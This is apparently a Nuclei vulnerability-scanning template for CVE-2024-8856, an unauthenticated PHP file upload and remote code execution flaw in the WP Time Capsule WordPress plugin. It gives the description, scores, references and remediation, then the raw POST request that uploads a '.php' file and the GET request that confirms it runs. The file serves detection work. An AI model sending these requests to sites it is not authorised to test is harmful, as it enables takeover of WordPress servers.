id: CVE-2024-8856 info: name: WP Time Capsule Plugin - Remote Code Execution author: iamnoooob,rootxharsh,pdresearch severity: critical description: | The Backup and Staging by WP Time Capsule plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the the UploadHandler.php file and no direct file access prevention in all versions up to, and including, 1.22.21. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. impact: | Unauthenticated attackers can upload arbitrary PHP files to the server through missing file type validation, enabling remote code execution and complete WordPress site compromise. remediation: | Update WP Time Capsule plugin to a version later than 1.22.21 that addresses the arbitrary file upload vulnerability and implements proper file type validation and direct file access prevention. reference: - https://hacked.be/posts/CVE-2024-8856 - https://plugins.trac.wordpress.org/browser/wp-time-capsule/trunk/wp-tcapsule-bridge/upload/php/UploadHandler.php - https://plugins.trac.wordpress.org/changeset/3188325/ - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3153289%40wp-time-capsule&new=3153289%40wp-time-capsule&sfp_email=&sfph_mail= - https://www.wordfence.com/threat-intel/vulnerabilities/id/fdc2de78-5601-461f-b2f0-c80b592ccb1b?source=cve - https://nvd.nist.gov/vuln/detail/CVE-2024-8856 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-8856 cwe-id: CWE-434 epss-score: 0.93149 epss-percentile: 0.99802 metadata: verified: true max-request: 2 fofa-query: body="/wp-content/plugins/wp-time-capsule/" publicwww-query: "/wp-content/plugins/wp-time-capsule/" tags: cve,cve2024,intrusive,file-upload,wordpress,wp-plugin,wp,wp-time-capsule,rce,vkev,vuln variables: marker: "{{randstr}}" filename: "{{randbase(2)}}" flow: http(1) && http(2) http: - raw: - | POST /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/index.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data;boundary=---------------------------26670583928903275361770089688 -----------------------------26670583928903275361770089688 Content-Disposition: form-data; name="files"; filename="{{filename}}.php" Content-Type: text/php -----------------------------26670583928903275361770089688-- matchers: - type: word part: body words: - 'url":"' - '"files":' - '"deleteType":' condition: and internal: true - raw: - | GET /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/{{filename}}.php HTTP/1.1 Host: {{Hostname}} matchers: - type: word part: body words: - "{{marker}}" # digest: 4a0a00473045022100b9c9b03b39acb85b31b9411b75fbc8e2997b340f1a1125c33657b3d16fd5e0ce02200ef696a362201ed0b65743c6c682128d739ff40769f465d3dfb633409a7551ee:922c64590222798bb761d5b6d8e72950